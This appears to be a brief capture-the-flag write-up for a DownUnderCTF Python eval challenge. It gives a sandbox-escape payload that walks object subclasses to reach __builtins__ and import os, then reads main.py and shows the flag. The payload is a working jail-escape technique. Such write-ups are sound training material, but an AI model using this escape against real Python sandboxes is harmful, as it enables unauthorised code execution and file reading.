1. List all files and directories in the current directory

`().__class__.__mro__[1].__subclasses__()[200]()._module.__builtins__['__import__']('os').listdir()`


2. Read main.py to get the flag

`open('main.py').read()`


3. Here is the flag

`DUCTF{3v4L_1s_D4ng3r0u5}`